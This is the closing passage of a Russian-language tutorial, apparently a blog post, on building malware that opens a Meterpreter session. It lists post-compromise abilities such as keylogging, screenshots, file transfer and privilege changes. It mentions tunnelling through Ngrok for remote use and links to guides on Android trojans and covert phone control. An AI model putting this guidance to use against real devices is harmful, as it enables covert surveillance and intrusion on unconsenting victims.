Сессия Meterpreter будет выглядеть так, как показано выше. Чтобы получить справку по командам, введите:
Рекомендую также ознакомиться со списком основных команд Meterpreter.
Теперь можно изменять привилегии пользователя, скачивать и заливать файлы, запускать исполняемый файл как службу, делать снимки экрана, сохранять нажатия клавиш и многое другое.
Данный способ можно использовать в локальной сети. Если вы хотите использовать удаленно, тогда необходимо настроить удаленное соединение с помощью Ngrok.
Заключение
Многие думают, что создание вирусов — это что-то неправильное и им занимаются только злодеи, это не совсем так. Вирусы часто используются этичными хакерами для тестирования на проникновение. Надеюсь, что вы будете правильно использовать созданные вирусы. Не забывайте: «Чем больше сила, тем больше и ответственность»!
Полезные ссылки:
- Как хакеры создают трояны для Андроид
- Скрытый удаленный контроль телефона с AndroRAT